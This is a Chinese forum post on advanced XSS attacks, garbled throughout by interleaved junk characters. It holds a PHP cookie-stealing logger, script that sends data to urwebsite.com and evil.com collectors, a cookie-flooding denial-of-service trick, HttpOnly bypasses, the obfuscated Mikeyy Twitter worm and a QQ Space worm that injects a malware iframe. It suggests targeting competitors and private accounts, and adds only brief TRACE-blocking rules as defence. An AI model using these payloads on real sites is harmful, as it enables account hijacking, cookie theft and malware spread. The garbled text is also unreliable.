alert(/ok/); ' a N6 b1 T) i" j# N
1 Q# B% G6 `7 j4 |3 }5 _. d
}
# w% d& p" A. M/ V, _" k2 x
1 {1 {% r/ z/ ^7 V8 _2 j. \' r% f) J ? t5 y1 s8 t/ y+ g4 V
$ R: L& }* [; m. E; K, \, J& N2 Z
doMyAjax('administrator','administrator@alibaba[1].txt'); & B" N# w6 t* v, c }
! Z: @2 o* m, ~9 D2 G, r7 E
! J! Z9 h$ V5 v. O& E w9 g5 [2 H
8 i; E0 }" i$ I% r4 H2 m8 s</script>$ M$ \: W/ \9 g( H0 i/ i
. o1 j! r' C4 Q: C1 Y- m; e
( T- F; l4 N' `. Q
4 |) d8 L9 \ x1 H( [. j- e$ U: H; K1 O1 @! @0 ~, l. [% i: \5 k1 B
4 [- ?6 j* {* A+ X2 b0 y" V
a.php
! w% C$ d7 @" @8 M1 T
y4 b5 H/ f3 A) {/ p2 B/ C2 w
$ p% X$ L, p) t' r% L' c4 R' N7 L4 O* I
<?php 5 r9 Z' L; k! B. w( O* t
0 }" D0 R' F/ L8 H6 ?0 w; T
6 X9 W7 T9 t# }- u; R5 G; _; u" w& _
% a' \0 U2 ]' ?) ~$ M( z1 v
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 1 X" \3 ~! t/ \) {! ^# h2 y
3 V$ A6 p9 j0 x! U- E D$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
/ E- @3 ` X. o! p, e- D$ j( ~% F8 M# n7 D# s4 _
+ }& q3 p" m7 L1 w- c& i
; k0 U, J3 n( U1 j; Y) j' f$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 5 e9 g' o! u2 h2 l. _2 R
9 h# g7 m9 z$ y
fwrite($fp,$_GET["cookie"]); 4 v9 }. u- n7 c5 ^
! w/ W* C+ {& r6 y
fclose($fp); ; s( R* ^" j# R8 j' ~
: }1 m7 H1 s4 i. ^
?>
0 _$ B; C5 d% x7 ^5 ^ j" i复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
% T9 O) Z& v- _5 ?. W6 i* r& {, C8 Q$ q
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& F% @9 `& R2 F, O% ^. c/ m3 U
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.) H. k( x* ?; C$ V: Q5 f7 P; s
2 H3 y0 ^5 f, h/ B! c/ g
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);9 |7 ^2 o5 J2 G" R
! p/ r0 U1 c0 ~5 s
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
7 i4 e: n. P: p4 ~+ A4 G9 y6 P9 g9 u- T- U }
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);9 i9 S5 K' i& x( h* x9 {& f# z$ i! l+ q
( L- K( B& _7 O0 y: S& D2 f+ ^function getURL(s) {
' k' F) `9 @% b* O0 y; G6 _3 B. C- s1 a( z
var image = new Image();5 g" O- }1 d8 I W
4 w5 m9 U- v) l
image.style.width = 0;1 ^/ t e9 a* k3 L( m% \. q
' ~( \2 t4 d) K* S; Bimage.style.height = 0;
/ D# X& N* G1 c
& y" E0 v+ J; z \0 y% }image.src = s;
& X0 L& \* M4 {# ?) p; v) ? _: i4 y7 H( y2 \1 m" v7 S D# H
}6 I1 q" }# w3 Y9 P
- P6 O( l: E: R4 g& J
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
( {1 X4 S; }# M) S复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
) H& F' k B& k4 y' R% Q. Y# @( Q- F这里引用大风的一段简单代码:<script language="javascript">4 X" z: G: S( d) b
- T/ H# a+ P0 `" gvar metastr = "AAAAAAAAAA"; // 10 A& Q L& x$ J: m# B4 ]
9 G# f& {+ _6 y. V6 s9 Z0 h
var str = "";
4 H$ P0 t) A8 ?+ K5 e
) `9 Y f( L- c# k$ J+ [/ z- N2 w+ x; Kwhile (str.length < 4000){" a. X6 c: x1 I+ h3 L, @: J
* M' B0 W! |" Y str += metastr;6 U6 V8 n3 I$ O$ b
; W. A4 M( }- h/ U( ~) H5 M8 w2 U
}
6 g7 S& \% _ Q6 x4 X3 P, ^- k( D2 s j9 _4 @
# _- d" f8 h& D
; e* p7 d8 I6 |' j" Odocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS7 Z ~: R/ X8 ?3 @6 f0 l6 V7 G8 E# i
0 r2 V& t7 a6 o. I+ ?4 y
</script>/ _8 r* j4 X% U
/ k7 N$ f, I. d4 ?9 u详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
3 r4 e+ \1 u* w+ h. D$ p& S复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.: p3 ~! n3 b: i7 b
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1504 q; x6 M" C6 P% U
/ s8 \, |' R- J1 p7 w
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
& C: Z& _. F9 Q! k' {7 @ z( l攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.4 V! E, y- G/ U2 ~$ m
: @ c( N; M, i- b d- u; u' p) `3 K& u
$ T8 X# S( |5 P2 m2 M3 d0 L8 U
8 g5 E, |* g1 p+ H7 ^
6 c/ V" Z3 a8 U
& R+ k5 C; {* L' r: t5 s(III) Http only bypass 与 补救对策:% a) |% y) Z r9 |' w
% |: H. \6 |* U$ ?7 o% y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.0 o5 @, M, ]) U( M
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
9 D* B A/ M7 M$ n' o7 R! z4 C
<!--
o; o/ g: D- w# X7 h/ N. `% \1 h- o$ [3 q: f
function normalCookie() {
7 E" [" Y7 A. F8 f/ B
6 L! `2 O; e! w" \! n5 b) H3 b4 gdocument.cookie = "TheCookieName=CookieValue_httpOnly";
- i3 s9 M% g: A
6 x2 S7 u6 V8 Y+ Kalert(document.cookie);
$ h" S" w! V6 }; k! ]5 g9 M, N6 U2 K `& u
}- _: }' d# X' o
- U/ v. \' z# \/ l, U
2 I3 q% q. q$ R# Z8 Z8 o% e( B; h8 c) O! s: k: l6 g
m% T! L- s8 t3 M
/ C3 U! c! ]) X, s) S5 Xfunction httpOnlyCookie() { * C3 _+ {& H5 S: l* i m% g
9 r- q* T4 P, Q3 _' _( \2 g5 _
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
# h& |) S2 P2 ?. p+ f7 ?
/ y4 |' }2 H* ealert(document.cookie);}
* D' X) ]+ _* u5 d1 u3 Q4 y, S! ^- }# H
2 i2 y2 S9 C. h5 \) |! s( y
5 ~* \+ C- t8 t ~7 p0 H, V
//-->
% G. _! c, R8 ?4 l# A
& t2 J K! w( W# h' i! H</script>
, W; ?7 v: i8 ]3 Q. o- D9 T
" h: s0 B$ N- Z5 Y, \
6 ?2 B2 ]0 w) |7 T* E
% p* K" i" |/ `& I- m<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
4 I. k$ F6 B7 g$ T
9 m2 B: N4 Q; q$ R8 x3 j. M% B: n% x<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
- ]5 e7 {9 A1 |$ Q9 [( w9 }复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>* L% U0 G3 Q) [+ I/ t. j. \
8 Y/ U$ K9 i8 B& S, F1 c+ \) L: v
/ b0 a4 ?( M' R/ J
, ~" B4 |. W: L; G$ r+ [ mvar request = false;- [/ w5 C5 I1 G8 M1 Y c4 R' l1 e
" V1 [3 _$ S3 J, p if(window.XMLHttpRequest) {
* {; k* A0 b, f- l6 J8 N$ [3 n: r: n
request = new XMLHttpRequest();) w! E, D* |0 ^0 v U
- R Y$ r! i0 x- u* }* |% ^ if(request.overrideMimeType) {9 ?. d1 J( W* s7 G
( g+ D* A; Q0 N/ k! A9 L request.overrideMimeType('text/xml');
2 v T: p' d `
5 k3 _4 [3 b0 H0 ] }: H9 G0 j( p; L% N
) q- Y ?3 @9 `1 y } else if(window.ActiveXObject) {# G+ c) o2 t# c; U( X) E
m0 m2 i4 H- A/ ]: \
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];6 b% j4 w5 ~( F
" _5 X3 v: ?1 u0 N for(var i=0; i<versions.length; i++) {
5 h1 n* B0 j! d3 L. V" R
( p* b! H% F, i! f try {
k1 C* T* y+ @4 @6 h6 D3 l! i) L6 K$ E# r. p
request = new ActiveXObject(versions);
x7 y! q) ]: }% o) [
3 M2 d6 ?2 q/ M. N: E/ T } catch(e) {}9 J7 r% ~, X, B+ Q2 Y9 l# y& n
5 _8 C N. O5 \/ N0 F
}
4 n& k' u% T# j& d, p: \' _# H+ l8 t' ]) Z' \
}
$ W8 W" k' D4 l4 `' a# }0 O# {0 d/ r$ D
xmlHttp=request;
( R6 r% H) J/ F$ o' f
4 x# b; A& ~9 u9 V3 A: rxmlHttp.open("TRACE","http://www.vul.com",false);0 P+ m+ c F1 v: v9 x# T
9 Q# q% g0 q$ N& C5 R0 W4 a5 g& uxmlHttp.send(null);9 L0 ]$ Z. i$ I0 |6 A7 P _
7 h7 j9 M! h2 U) [9 b. D
xmlDoc=xmlHttp.responseText;
" f; F$ {# b+ S% A9 O! t4 X. p( {( L5 r3 t, q: |$ X) ^6 h; U
alert(xmlDoc);5 ^( o2 F$ A- z3 u* X. W2 o: T
6 G# k8 q% D. c6 M( h& U
</script>
9 Z5 c/ ^/ A' j1 i复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 L2 Q9 Z2 f1 p0 X: K* `8 x4 |& T# G U& K w/ j6 E* @) G
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% p% g; W. R+ m# V6 ?6 I3 m% h2 ^) R1 d! T4 Q- q. E1 M% F
XmlHttp.open("GET","http://www.google.com",false);- p! d) l( i5 M( H
/ J7 i& f5 J8 y# j% j
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");- y5 i2 X4 f# O8 [
! J7 h k0 A0 d+ F9 `) }( n* i/ Y' ZXmlHttp.send(null); ?8 y% Z) A/ e9 @: I: Z
1 K. R3 [8 o/ ?6 Avar resource=xmlHttp.responseText
0 o& N# \# ^& C9 t: |- h4 e3 z: M0 M4 @( J* M) K
resource.search(/cookies/);* J" d! E, A1 R2 u: g. C* Z$ G
# P; r; z1 }+ ?8 S1 ]* m7 ]! v
......................; w% c7 r( H. G9 W4 Q5 [1 A, |
! S5 d4 a: [; l7 q' d+ b</script>
" q5 w; s* g) C7 T0 d
4 J" g3 [6 N" A4 P+ X# I8 N M. E2 F6 J9 \8 b0 r4 |" ~
! ^0 K: k, Z* H7 E' D
4 C! x3 c. G# t# d: w
/ ]2 G( f l0 S! Z如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求& m4 ^! }' c; X6 R
7 s! K& k2 y/ J; u[code]
! T4 v9 x1 t' Z$ C
s" }( V# ]4 g" ]6 c+ HRewriteEngine On% e# m# e! c: c+ I [
# h8 H' g7 r4 C
RewriteCond %{REQUEST_METHOD} ^TRACE
0 K& r; d* \6 E2 x8 s' B$ _$ U; R
RewriteRule .* - [F]
0 P( m3 `- h! A8 ]( {; b9 |
6 k* D' l" I9 e* Z
4 {6 M1 ?5 P; B6 B. Z6 |4 f* P+ {' q8 _8 V
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
/ Y8 `4 G' w+ D1 r0 U9 X, A+ H8 r/ H! I, ?. a
acl TRACE method TRACE& |- N; r' r& M5 @
3 l% o, ^" o0 @) |2 D..." _+ m4 y, _( p$ i+ |
4 G* X1 v3 Z/ `, t
http_access deny TRACE
' d: M3 j; S( R+ h# z h复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>- w [5 p; J+ r& w5 d/ c7 z
! |1 n2 ~/ i. O' W' i! ^ J q9 S
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 U/ N6 b! c; a$ [2 N1 Q. M" e5 B8 n- a2 S
XmlHttp.open("GET","http://www.google.com",false);
9 Y3 x* E/ K0 F0 _1 b$ H3 H7 }
' E, H6 J3 q: oXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
# p2 ~2 V6 n% m4 ^: F7 `. T
& {, S R9 T3 A9 JXmlHttp.send(null); Z# b. Q# W% ?+ {( d" o: H# C' {& `
* R( n: A: L. I# m
</script>) L- b! s, X7 F- X: g
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>8 d# _ _1 U s: v3 k, @
+ F$ W! i; {( @+ \$ I: Evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ T) l6 d, H Z9 d" j: V
; U2 x, j( F2 A
% W7 C- [! @2 Q! L2 O0 Z7 ?' o
5 c0 |2 c+ W0 k% L3 s* M0 P
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
! p6 i2 F# U# G% @8 z' y
% \3 C/ {8 _* z+ qXmlHttp.send(null);
, C) z5 B7 g) B/ q
4 ~) B+ q2 Y" _/ p i6 n<script>! y' U0 }* q" @
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.5 e+ l5 M( J$ `2 C5 T
复制代码案例:Twitter 蠕蟲五度發威
* q& {3 J) M, I' {. b! I! n) Q第一版:
$ V( B9 }8 m' o- P9 ~) k; e/ W( t 下载 (5.1 KB)
. i8 Y* N& C+ U8 X& s
' x& _2 f0 w6 G1 z$ I9 D6 N6 天前 08:275 ~! x J u% T
: [( T b: l2 r% b! I( {; M
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
, O! P# d, \& F. `0 K: H$ S' M, Z% i
2.
/ F# w3 c" g; w. {4 x6 k/ C# P
# O8 ?0 z. h2 j9 T3 B) l 3. function XHConn(){
8 j5 ~, |# h' d& o3 e' f. r9 L7 K- b. G- l# L# d
4. var _0x6687x2,_0x6687x3=false;
; I9 `: {# j4 B9 A) ~: T3 ~
3 ~) d! G) z. v4 I1 {$ N9 X! I9 _ 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } / }* Q* {* Y; x- q
! \9 ~, g& @8 ^
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 1 ~4 K; S7 k: F5 |. I. l+ u- ~2 D/ A
6 b/ S1 d( @7 O2 W1 g1 t; p
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
e' L4 ~. [6 R. D. z
8 y& I+ E! i/ L 8. catch(e) { _0x6687x2=false; }; }; }; ' a- \& Q; `# v7 D9 p
复制代码第六版: 1. function wait() { 5 U. ?8 \# _7 K) w
. G; V' \% T" u3 x 2. var content = document.documentElement.innerHTML;
7 d+ k. S8 [4 x% F8 L- m1 K3 l* j8 \% ^8 Z! o& k
3. var tmp_cookie=document.cookie; . Y P& C# `$ j: F! T. f9 j$ N
' Q& p/ K. x9 _3 e6 m 4. var tmp_posted=tmp_cookie.match(/posted/);
' M* }8 N$ G. ~* y3 \
1 l5 n, H( s& C3 ~" V 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
6 F5 Y O, y" A5 y: ?2 ^8 l0 c6 N+ T, p# X
6. var authtoken=authreg.exec(content); $ n$ t* I' c6 b7 b/ D. ]' V
6 Y: U# n# S, A! r. X& x- y; I
7. var authtoken=authtoken[1]; 8 j5 D" ]4 h U! b7 P
- P) n ^0 F% @ ^* B) t* t$ l8 f 8. var randomUpdate= new Array(); $ U8 \ K `- g) T
. W9 T& E: Z4 X* l7 ? 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
8 M/ H6 z% `9 p$ I+ [5 P7 U! h- Y0 A
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; " z9 X$ e( ?* f+ R0 K
( Y9 R b8 {& h+ \( U$ h2 Z
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; " s0 k# H: J8 n j
4 p) ], u9 @: K G& n
12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ! W% G) y1 ^7 {. Y
3 T. A9 B! ]/ W2 ^. f) U 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
6 D. ^1 ^, I3 G( J9 h, N
& J8 g* |% W9 j* E9 x- ]9 M7 G 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
0 Q( X! \. B9 e9 X
5 {) ~" |# l) a( q; _0 p* u4 f 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; * |& X0 {! L$ Z4 A
* X. E# _& @- \. i: D 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
# k$ m! }# a, q
* |% b. X5 h! M. Q+ | 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
+ s |" i! ^" m3 @) F# X( m
% k; j2 j7 N0 h5 T8 x2 @" t( m. W 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 5 W! e& E/ m+ _4 `0 Z6 c3 K
1 F5 G1 @' h) N' p
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
( h0 f9 M: e5 z' K( f( |( ^3 y3 p. W/ u" ? f; f+ {) m
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
- T# d1 G" b. A% G& I( }0 M! r5 C# Z3 H! B
21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
k7 |3 H- ^# D E: J+ r7 L
" X$ l6 I/ ?, k) T 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; , O# p: g! L$ @+ E+ o2 L' ? s3 \! v
! g8 l! y/ F# Z1 e& q; u7 O& h 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
/ m, G" m# z& X* E" l8 y
( }! D2 d$ {& N4 X2 n 24.
5 A- i+ H! f+ ?6 @
+ F3 W: ]! o2 h7 Z' g+ v+ L$ W 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
2 p; }; C S$ i7 X5 @# x0 J9 A8 s2 X6 q7 r
26. var updateEncode=urlencode(randomUpdate[genRand]); 0 E! [% T+ ]5 F; `, U' _
3 _& h& p9 ?7 X5 K; G/ D
27.
7 Z4 a9 @$ F9 {% ~
7 s' U1 C5 k7 `5 ^1 a 28. var ajaxConn= new XHConn();
k8 i; S5 m2 U" y: ^
9 B& d1 w( B) x5 D. N 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
( `4 X8 Y5 r# g; Q) C; z' Q% X/ P& p8 M) l/ h3 I6 G( B* [# E
30. var _0xf81bx1c="Mikeyy";
) c1 h8 V$ k7 |/ z! ^1 z4 H! G. n) m: q1 c4 _# d
31. var updateEncode=urlencode(_0xf81bx1c); 4 X: |3 j; E/ L# a6 H* |
, P& C7 m. ^) L1 ]9 f
32. var ajaxConn1= new XHConn(); ( q: r# Q% m' _2 U$ S5 @5 \# m
, H$ L0 v$ a# v: s
33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); $ V1 t% p* A4 e, b- r" j# A
# g: B% t7 L3 ]' F2 S X+ ^* x
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
9 F2 B) S* S. f0 `& T! P1 S
- r$ r. P# w! {. P# H 35. var XSS=urlencode(genXSS); 9 z2 t7 a- @. |+ V. R6 a: H5 Z
0 V' ~/ Q j6 v9 l& U
36. var ajaxConn2= new XHConn(); ' {3 R# p- n/ B# ?5 l
9 A! i0 ]" w: Z6 W' J* \
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
6 T# P+ R0 e( Z6 j9 H! l0 Z+ P8 N
38.
3 _8 X4 t$ d3 B/ J
2 q$ T7 g( B; w J 39. } ;
* t8 `+ Q }( T' G3 X3 C5 z; _$ s2 Y0 K8 v1 n1 B& w
40. setTimeout(wait(),5250); E+ X% Y0 O7 U. N
复制代码QQ空间XSSfunction killErrors() {return true;}* d7 c/ t( Y o6 V5 E
0 J0 G+ w$ g1 o/ z; `. Y
window.onerror=killErrors;
6 J' i9 [ B- p9 s) V
- V9 n3 P0 [5 _5 n+ Z) Z& U
2 x( S, i$ e4 Z& L8 z+ p
1 M2 K( J+ ~( t" U3 d/ n% nvar shendu;shendu=4;
* b! H8 `# W6 J2 d
' b) a, f' v4 q2 p3 `4 [* l//---------------global---v------------------------------------------1 q) z, a* D5 H: q
2 C# r$ u; d* @9 t- t
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
% G J2 w; `' e# r! d+ z% g5 M9 i$ M
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";7 Q) Z3 u- f1 o
7 U% b& B3 S) D( {% I9 r
var myblogurl=new Array();var myblogid=new Array();# T$ a" s$ a: _
' _, F2 ^" X* |! h8 g2 S9 Y# M2 p
var gurl=document.location.href;
* b( c r2 ^. k, K# h; Z) B p
4 O+ y. M( r/ h. T* f var gurle=gurl.indexOf("com/");
$ `/ C7 j9 w% J& e) j9 Y' T- s4 n3 Y/ ]
gurl=gurl.substring(0,gurle+3);
9 p( e" q& S. C2 f8 f
; I" e* h) a1 X var visitorID=top.document.documentElement.outerHTML;* k# c9 i. ?5 k1 n; x
* D+ n, I* M6 S3 n& o var cookieS=visitorID.indexOf("g_iLoginUin = ");* I. c/ V2 v& A1 [
. {- h5 h% P) t* w! I0 W$ ^) B6 ]
visitorID=visitorID.substring(cookieS+14);
# ?: U3 b, ?" F& ]' X( q$ q$ ]7 s B \5 b# h; n. z$ K; z
cookieS=visitorID.indexOf(",");$ P1 w: f6 R& |- W4 i
5 n: h+ w) }& j+ M visitorID=visitorID.substring(0,cookieS);
: V: y9 G2 u2 x# [+ v( |& \4 F D) Y
get_my_blog(visitorID);
1 R3 h& K; e! [) Q3 b; _2 P/ C# ^; g7 y" ?5 y$ ~4 \
DOshuamy();- {4 A" U' h1 I3 j
$ a) k$ s) T7 Z& V3 @$ S, o. G+ k9 ~/ K8 U! q% h/ V {
. r0 Y: x7 c( b% f; k//挂马5 A8 v" z' C9 V% S% [
% L. T" {* V! C v0 b
function DOshuamy(){
! K. X# \* {: W7 b% j) j( ^9 u" |. a% r$ T
var ssr=document.getElementById("veryTitle");) s) I9 g! v( D# p
' `1 \$ E% v0 N8 n. N
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
1 a, x, [" `# T9 k' U$ ^* P3 o6 l) B* D9 q. i. ]
} A+ T7 r' S# D0 d" c
4 A3 z) q- }: e' s0 {) u
) u7 n" C1 X" x4 S' a+ |# v
: P3 G1 ^4 M$ ~ d! A1 P
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?1 ] F8 g% O% C" h/ E
" D) W) j7 c+ _: d
function get_my_blog(visitorID){
9 S; ^: O9 j. v- n d. a8 _. s* H3 I
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
; I3 T* r% ~! i! g6 j7 T6 L) P5 [* ~/ _/ P
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
# R! r- \1 V, {, N; Z& p+ I6 w* ?, m2 ^. k2 g6 q
if(xhr){ //成功就执行下面的8 j; h/ n% Y$ B6 Y
' o7 d4 A' j3 G+ w; v D e xhr.open("GET",userurl,false); //以GET方式打开定义的URL
6 L% M! Y) F* v8 ]: l9 w2 T/ T
4 O; M1 Z( b N0 c; x K: V0 P* i" r xhr.send();guest=xhr.responseText;5 y4 j, b- D& n7 h
2 O" r' B$ m( _: u/ H( I% C get_my_blogurl(guest); //执行这个函数1 N( N0 G2 U# W0 F
: m: T Z6 f# f* i g5 @5 X. t; V! w }! _! Q2 f1 J9 T0 l) w: {
: d# {9 M: ]) ?4 l8 q}2 |* X) ]2 N N7 D! e( @
% P) T" `3 |% Z, t N: V! P$ K
# [) M4 h9 S6 h# m* F0 b7 Z u* l//这里似乎是判断没有登录的
& {/ f5 ^, k, X$ B
5 T0 `3 e: E1 [4 V2 f9 ^function get_my_blogurl(guest){
8 b. \9 {% [ Y+ J8 o, e9 p( d5 O" J+ A! d
var mybloglist=guest;
# x8 w; E/ h6 l" K) y$ B9 c+ c
6 ?2 Q* Y# h5 Z3 k' g/ d/ L9 t var myurls;var blogids;var blogide;
) ~! A* e- D% s9 ?" o" u: ?2 S. Q& Z- M5 o0 I; Q
for(i=0;i<shendu;i++){
5 D, I7 w4 J( [5 }9 @$ G4 Q1 a" v6 v# ^5 m+ P$ [" e
myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了+ l; z9 K, `# ~2 D6 X2 x, H) H8 p( n" O
/ D5 C8 j+ p/ j+ ?5 x
if(myurls!=-1){ //找到了就执行下面的' ^' M7 ]" i+ f, B
* f7 c7 n% [% d0 a mybloglist=mybloglist.substring(myurls+11);; B. M4 k% r0 c5 b4 P( T
' S# {0 T# v, }5 m myurls=mybloglist.indexOf(')');
- q8 s; ] |' B: Z
% H) x$ a, U, ]4 h, z% } myblogid=mybloglist.substring(0,myurls);
( n* P* f* A" z7 f
8 N# q% Q$ i1 m6 p4 L' S }else{break;}/ J2 q% C N4 C' n
* \8 F Z& z+ A$ B! Z4 N
}3 Y5 B' G& U# R- `3 V* M" n9 v
& ]1 Z- N- G9 g) [( {get_my_testself(); //执行这个函数) `8 X+ v0 P( P- R0 N
* Z0 V6 i( I- B, E
}
: A& L- c- T, n* ~3 Q; w0 U4 \6 i
( H1 b' s! r" e9 v
& K& n" q( ]3 o N' s
//这里往哪跳就不知道了
3 T! y8 I U5 C0 L
